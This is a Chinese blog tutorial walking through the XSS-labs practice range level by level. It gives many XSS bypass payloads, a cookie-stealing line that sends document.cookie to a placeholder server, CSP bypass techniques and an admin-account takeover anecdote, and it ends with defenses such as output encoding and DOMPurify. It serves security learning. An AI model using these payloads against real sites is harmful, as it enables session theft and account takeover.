1. 从零搭建XSS-labs靶场:为什么我选择本地Docker而不是在线环境
很多人第一次接触XSS-labs,习惯直接找一个在线靶场开刷。我最初也是这么干的,结果踩了两个不大不小的坑:一是网络延迟导致每次提交payload都要等一两秒,调试效率极低;二是部分在线环境做了额外过滤,和本地实际部署的版本行为不一致,导致我明明构造正确的payload却打不通,白白浪费半小时去怀疑自己的思路。
所以我的建议很直接:本地部署,用Docker一把梭。XSS-labs本身就是一个PHP项目,依赖极简,Docker化之后基本零配置。
1.1 部署步骤与常见启动问题
具体操作如下:
# 拉取镜像(社区有现成的xss-labs镜像) docker pull xsslabs/xss-labs:latest # 启动容器,映射到本机8080端口 docker run -d --name xss-lab -p 8080:80 xsslabs/xss-labs:latest启动后浏览器访问http://localhost:8080就能看到关卡列表。如果你用的是自己搭的PHP环境,把源码丢进web根目录即可,注意PHP版本建议7.0以上,低版本在某些关卡的正则处理上会有差异。
这里有个容易忽略的点:PHP的magic_quotes_gpc配置。虽然这个特性在PHP 5.4之后已经被移除,但如果你用的是某些老旧的集成环境(比如某些一键包),它可能还开着,会自动对GET/POST参数做转义,导致你输入的payload还没到关卡逻辑就被处理了。检查方法很简单,写个phpinfo()看一眼就行。我当初就是被这个坑了,第1关怎么打都打不出弹窗,后来发现是环境自动转义了尖括号。
1.2 关卡设计的整体逻辑
XSS-labs一共20关左右,难度是递进的。前几关几乎是"裸奔"——直接反射你输入的内容,不做任何处理;中间几关开始加入各种过滤:黑名单、白名单、正则替换、HTML实体编码、JavaScript伪协议限制等等;后面几关则涉及DOM型XSS、字符编码绕过、长度限制等更贴近真实场景的挑战。
理解这个递进逻辑很重要,因为它决定了你的学习路径:不要一上来就想着绕过,先把每一关的源码读一遍,搞清楚它到底做了什么过滤,再想怎么绕。这比盲目试payload高效得多。
2. 反射型XSS的核心原理:浏览器为什么"听话"地执行了你的脚本
在动手刷关之前,有必要把反射型XSS的底层机制讲清楚。很多人刷完了关卡,却说不清为什么一段看似普通的字符串能让浏览器弹出对话框,这就有点本末倒置了。
2.1 从HTML解析到脚本执行
浏览器拿到服务器返回的HTML后,会经历一个解析流程:词法分析 → 构建DOM树 → 遇到<script>标签时暂停解析,交给JavaScript引擎执行。关键在于,浏览器无法区分这段<script>是开发者写的还是攻击者注入的——只要它出现在HTML流里,就会被当作合法代码执行。
反射型XSS的本质就是:服务器把用户输入的内容原样拼接到HTML页面中返回,而这段内容里包含了可执行的脚本。比如第1关的代码大致是这样的:
<?php $name = $_GET['name']; echo "<h2>Hello, $name</h2>"; ?>你传入?name=<script>alert(1)</script>,服务器返回的HTML就变成了:
<h2>Hello, <script>alert(1)</script></h2>浏览器解析到<script>标签,执行alert(1),弹窗出现。就这么简单。
2.2 反射型、存储型、DOM型的区别与判断方法
刷关过程中你会遇到三种类型的XSS,判断方法其实很直接:
| 类型 | 数据流向 | 判断特征 | 典型关卡 |
|---|---|---|---|
| 反射型 | 服务器直接回显 | 刷新页面后payload消失,需要重新提交 | 第1-10关 |
| 存储型 | 数据存入数据库再读出 | 提交一次后,每次访问页面都会触发 | 部分关卡模拟 |
| DOM型 | 前端JS处理URL参数 | 查看页面源码看不到payload,但DOM中存在 | 第13关等 |
DOM型最容易让人困惑:你右键查看网页源代码,发现payload根本不在HTML里,但页面确实执行了。原因是JavaScript在客户端读取了location.hash或location.search,然后通过innerHTML、document.write等方式动态写入了页面。这种情况下,服务器端日志里甚至看不到你的payload,因为#后面的内容根本不会发送到服务器。
提示:判断DOM型XSS的快捷方法是打开浏览器开发者工具,在Console里输入
document.documentElement.outerHTML,搜索你的payload,如果能找到就说明它被写进了DOM。
3. 逐关拆解:过滤规则背后的逻辑与绕过思路
这一部分是重点。我不会只给你payload,而是把每一类过滤的设计意图和绕过原理讲透,这样你遇到新变种也能自己推导。
3.1 黑名单过滤的天然缺陷:为什么onclick总能活下来
从第2关开始,服务器开始做过滤了。典型的黑名单写法是:
$str = str_replace('<script>', '', $str);这种过滤的致命问题是:它只匹配了精确的字符串。你稍微变形一下就能绕过:
- 大小写混写:
<ScRiPt>alert(1)</ScRiPt> - 嵌套标签:
<scr<script>ipt>alert(1)</script>(替换后剩下的部分重新组合成<script>) - 使用其他标签的事件属性:
<img src=x onerror=alert(1)>
其中<img>标签的onerror事件是最经典的绕过方式。因为黑名单通常只盯着<script>,而HTML中能执行JavaScript的标签和属性远不止这一个。常见的还有:
<svg onload=alert(1)><body onpageshow=alert(1)><input autofocus onfocus=alert(1)><details open ontoggle=alert(1)>
我个人的经验是:遇到黑名单过滤,先别急着构造复杂payload,先试试换标签。80%的情况下,出题人只过滤了<script>,换个<img>就过了。
3.2 属性值内的闭合技巧:引号、空格与注释的博弈
到了第4、5关,过滤升级了,开始处理on事件和script关键字。这时候你需要理解HTML属性值的闭合规则。
假设页面代码是:
<input value="你的输入">你输入的内容被放在双引号里。如果想注入事件,你需要先闭合双引号:
" onmouseover="alert(1)最终HTML变成:
<input value="" onmouseover="alert(1)">鼠标移上去就触发。但如果服务器把双引号转义了呢?试试单引号,或者不用引号(HTML5允许属性值不加引号,只要不含空格):
x onmouseover=alert(1)还有一种情况是服务器过滤了空格。这时候可以用/代替空格,或者用Tab、换行符:
<img/src=x/onerror=alert(1)>3.3 编码绕过:HTML实体、URL编码与JavaScript转义的层层套娃
第6关之后开始出现各种编码过滤。这里必须理清一个概念:不同位置的编码规则是不同的。
- 在HTML标签内,
a会被解析为a - 在URL参数中,
%61会被解析为a - 在JavaScript字符串中,
\x61会被解析为a
所以绕过编码过滤的关键是:判断你的payload最终落在哪个上下文,然后用那个上下文支持的编码方式。
举个例子,如果服务器过滤了alert关键字,但你的payload在<script>标签内,可以这样写:
<script>eval('\x61lert(1)')</script>或者用String.fromCharCode:
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>如果payload在HTML属性中,可以用HTML实体编码:
<img src=x onerror="alert(1)">3.4 长度限制下的payload压缩艺术
有一关(我记得是第17关左右)对输入长度做了严格限制,大概只允许几十个字符。这时候常规payload根本塞不进去,需要用到一些压缩技巧。
最常用的方法是利用外部资源加载:
<script src=//xss.pw></script>但这种方式依赖外部服务,不够优雅。更自包含的做法是利用短域名和简写:
<svg/onload=alert(1)>这已经是最短的形式之一了。如果连alert都被限制,可以用confirm、prompt,或者用top['alert'](1)这种属性访问方式。
还有一个技巧是利用页面已有的JavaScript变量或函数。如果页面里已经引入了某个库,你可以直接调用它的方法,省去自己定义代码的字符数。
注意:长度限制关卡往往还会配合其他过滤,所以不要只盯着长度,要综合考虑。我当初在这一关卡了很久,后来发现是长度和关键字过滤叠加,需要同时满足两个条件。
4. DOM型XSS的独特之处:服务器看不见的攻击面
DOM型XSS是我认为最值得单独拿出来讲的一类,因为它的攻击面完全在客户端,服务器端的WAF、日志、过滤统统失效。
4.1innerHTML与document.write的危险性
看一段典型的存在DOM型XSS的代码:
var name = location.hash.substring(1); document.getElementById('output').innerHTML = name;如果你访问page.html#<img src=x onerror=alert(1)>,location.hash拿到#<img...>,截掉#后通过innerHTML写入页面,图片加载失败触发onerror,弹窗。
这里的关键是innerHTML:它会把字符串当作HTML解析,而不是纯文本。如果开发者用的是textContent或innerText,就不会有这个问题。
document.write同理,它直接把内容写入文档流,其中的<script>标签会被执行。
4.2 利用location对象各属性的注入点
DOM型XSS的入口通常是这几个:
location.hash:#后面的内容,不发送到服务器location.search:?后面的查询字符串location.href:完整URLdocument.referrer:来源页面URL
其中location.hash最隐蔽,因为它连服务器日志都不会留下痕迹。测试的时候,你可以直接在URL后面加#<img src=x onerror=alert(1)>,看看页面有没有反应。
如果页面用了eval或setTimeout处理这些值,那就更直接了:
var hash = location.hash.substring(1); eval(hash); // 直接执行,连标签都不需要这种情况下,#alert(1)就能弹窗。
4.3 防御DOM型XSS的正确姿势
从开发者角度,防御DOM型XSS的核心原则是:永远不要把不可信的数据当作HTML处理。
- 用
textContent代替innerHTML - 如果必须用
innerHTML,先用DOMPurify等库做净化 - 避免使用
eval、setTimeout(string)、Function(string)这类动态执行代码的API - 对
location相关属性做白名单校验
这些防御措施在刷关时反过来理解,就是你的绕过思路:找那些没有做净化的写入点。
5. 从靶场到实战:真实场景中的XSS利用链
刷完XSS-labs,很多人会有一种"我学会了"的错觉。但靶场和实战的差距,就像游泳池和开放水域的差距——靶场里你只需要弹个窗,实战中你需要证明这个弹窗能造成实际危害。
5.1 Cookie窃取与会话劫持的完整链路
最经典的利用方式是窃取Cookie。payload大概长这样:
<script>new Image().src='http://your-server/steal?c='+document.cookie</script>但实战中你会遇到几个问题:
- HttpOnly标志:如果Cookie设置了HttpOnly,JavaScript读不到,这条路直接堵死
- CSP策略:内容安全策略可能禁止加载外部脚本或发送外部请求
- SameSite属性:限制跨站请求携带Cookie
所以实战中,XSS的价值往往不在于直接偷Cookie,而在于以受害者身份执行操作——比如发帖、改密码、转账。这种利用方式不需要读取Cookie,只需要在受害者的浏览器上下文中发起请求即可。
5.2 XSS与其他漏洞的组合利用
单独一个XSS可能危害有限,但组合起来就可怕了:
- XSS + CSRF:用XSS绕过CSRF Token校验,因为XSS可以读取页面中的Token
- XSS + 文件上传:上传一个HTML文件,诱导管理员访问,触发XSS
- XSS + 权限提升:在管理员后台触发XSS,创建一个新的管理员账号
我在实际测试中遇到过这样一个场景:一个后台管理页面存在存储型XSS,但后台有CSP保护,无法加载外部脚本。后来发现CSP配置有漏洞,允许unsafe-inline,于是直接用内联脚本构造了一个表单提交请求,成功创建了管理员账号。这个案例说明:CSP不是万能的,配置不当反而会给人虚假的安全感。
5.3 绕过CSP的常见思路
CSP(内容安全策略)是防御XSS的重要手段,但配置不当就会被绕过。常见的绕过思路包括:
- 如果CSP允许
unsafe-inline,直接内联脚本 - 如果CSP允许某个CDN域名,找该域名下的JSONP接口或Angular库
- 如果CSP允许
data:协议,用<script src=data:text/javascript,alert(1)> - 如果CSP的
base-uri没限制,用<base>标签劫持相对路径脚本
这些技巧在靶场里不会教,但实战中非常有用。
6. 防御视角:开发者真正该做的几件事
刷完攻击,必须回头看看防御。否则你只是一个会破坏的人,而不是一个懂安全的人。
6.1 输出编码:不同上下文的正确编码方式
防御XSS的核心是输出编码,而不是输入过滤。因为输入过滤永远可能被绕过,而输出编码是确定性的。
| 输出位置 | 编码方式 | 示例 |
|---|---|---|
| HTML标签之间 | HTML实体编码 | <→< |
| HTML属性值内 | HTML实体编码 + 引号包裹 | "→" |
| JavaScript字符串内 | JS转义 | '→\' |
| URL参数内 | URL编码 | &→%26 |
| CSS内 | CSS转义 | 避免用户输入进入CSS |
关键原则:在数据离开你的系统、进入另一个上下文时,进行编码。不要试图在输入时过滤,因为你不知道数据最终会出现在哪里。
6.2 HttpOnly、CSP与SameSite的协同防御
这三者是从不同层面限制XSS危害的:
- HttpOnly:让JavaScript读不到敏感Cookie,限制会话劫持
- CSP:限制脚本来源,让注入的脚本无法执行或无法外联
- SameSite:限制跨站请求携带Cookie,缓解CSRF和部分XSS利用
但要注意,它们都是缓解措施,不是根治手段。真正的根治是输出编码。我见过太多团队只加了CSP就以为万事大吉,结果CSP配置有漏洞,XSS照样能打。
6.3 一个容易被忽略的防御点:DOM型XSS的净化
很多开发者知道服务端要做输出编码,却忽略了前端JavaScript中的DOM操作。innerHTML、outerHTML、insertAdjacentHTML、document.write这些都是危险API。
正确的做法是:
// 错误 element.innerHTML = userInput; // 正确 element.textContent = userInput; // 如果必须渲染HTML,用DOMPurify净化 element.innerHTML = DOMPurify.sanitize(userInput);DOMPurify是目前最可靠的HTML净化库,它会移除所有危险的标签和属性,同时保留安全的格式。
7. 刷完20关之后,我总结的几条实战经验
XSS-labs通关不是终点,而是一个起点。以下是我在后续实际工作中总结的几条经验,可能和靶场里的思路不太一样,但更贴近真实场景。
第一条:不要迷信payload字典。网上流传的XSS payload列表有几千条,但真正有用的就那么几十个。关键不是背payload,而是理解每一关的过滤逻辑,然后针对性地构造。我刷关时从来不查payload大全,而是先读源码,再自己写。
第二条:浏览器差异是真实存在的。靶场里你用Chrome能弹窗,不代表在Firefox或Safari里也能。某些标签和事件在不同浏览器里的行为不一致,实战中要考虑目标用户使用的浏览器。
第三条:XSS的威力在于上下文。一个在普通用户页面上的弹窗,和一个在管理员后台的弹窗,危害天差地别。实战中要优先寻找高权限位置的XSS。
第四条:别忘了移动端。很多Web应用有移动端页面,过滤规则可能和PC端不一致。我遇到过PC端过滤严格但移动端直接反射的情况,这是一个容易被忽略的攻击面。
第五条:记录你的每一步。刷关时养成记录的习惯:这一关的过滤规则是什么、我试了哪些payload、为什么失败、最终怎么绕过的。这些记录在实战中就是你的知识库。我到现在还保留着当初刷XSS-labs的笔记,遇到新场景时翻一翻,往往能找到灵感。
最后说一个我个人的小技巧:遇到卡关时,把源码复制出来,在本地PHP环境里加var_dump打印每一步的处理结果,看看你的输入到底被变成了什么。这比在浏览器里反复试payload快得多。很多时候你以为的"过滤",其实只是编码转换,看清楚转换后的结果,绕过思路自然就出来了。